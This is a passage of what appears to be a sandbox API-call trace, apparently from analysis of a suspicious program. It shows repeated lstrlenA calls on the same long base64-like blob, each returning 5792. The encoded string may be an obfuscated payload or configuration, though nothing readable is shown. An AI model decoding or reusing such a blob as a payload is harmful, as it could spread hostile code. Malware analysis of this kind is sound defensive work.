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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA 